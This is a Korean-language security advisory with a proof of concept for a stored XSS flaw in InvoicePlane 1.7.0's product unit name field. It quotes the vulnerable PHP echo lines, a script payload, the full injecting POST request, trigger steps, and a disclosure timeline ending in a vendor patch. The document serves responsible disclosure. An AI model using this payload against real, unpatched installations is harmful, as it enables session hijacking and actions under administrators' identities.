
# InvoicePlane 1.7.0 저장형 XSS 취약점 개념 증명 제품 단위 이름 필드를 통한 InvoicePlane 1.7.0의 저장형 XSS 취약점에 대한 개념 증명으로, 취약한 코드 위치와 재현 단계를 포함합니다.
취약점: 제품 단위 이름(Product Unit Name) 필드를 통한 저장형 교차 사이트 스크립팅(XSS)
제품: InvoicePlane
영향을 받는 버전: 1.7.0 (및 이전 버전으로 추정)
심각도: 중간
CVSS 3.1 점수: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: 웹 페이지 생성 중 입력값의 부적절한 중화
발견자: Leonidas Agathos
보고 날짜: 2026-01-31
제품 단위 양식(/index.php/units/form)의 unit_name 및 unit_name_plrl 필드는 검증 없이 임의의 입력을 허용합니다. 해당 값은 저장되며, 악성 단위를 사용하는 제품이 포함된 인보이스를 볼 때 인보이스 품목 목록에서 인코딩되지 않은 상태로 렌더링됩니다.
취약한 파일:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Line 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Line 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
1단계 — 단위 이름에 페이로드 주입
/index.php/units/form으로 이동하여 단위 이름(Unit Name)으로 다음을 제출합니다:
<script>alert("XSS in Product Unit")</script>
요청:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

2단계 — XSS 트리거
/index.php/products/form/1로 이동하거나 해당 제품이 포함된 인보이스 보기품목 목록이 렌더링될 때 페이로드가 실행됩니다.

페이로드는 악성 단위가 포함된 인보이스 또는 제품 페이지를 보는 모든 관리자의 브라우저에서 실행됩니다. 이를 통해 세션 하이재킹(쿠키가 HttpOnly가 아닌 경우), CSRF 토큰 탈취, 피해자의 신원으로 수행되는 작업이 가능해집니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-01-30 | 취약점 발견 |
| 2026-01-31 | 개념 증명 개발 |
| 2026-01-31 | 공급업체에 통보 |
| 2026-02-04 | 공급업체 확인 |
| 2026-02-04 | 패치 릴리스 |
| 2026-02-05 | 공개 공개 |
이 취약점은 독립적인 보안 연구 중에 발견되었습니다. 모든 정보는 공급업체와 보안 커뮤니티가 문제를 이해하고 해결하는 데 도움을 주기 위한 교육, 연구 및 방어 목적으로만 제공됩니다. 이 정보의 악의적인 사용은 엄격히 금지됩니다.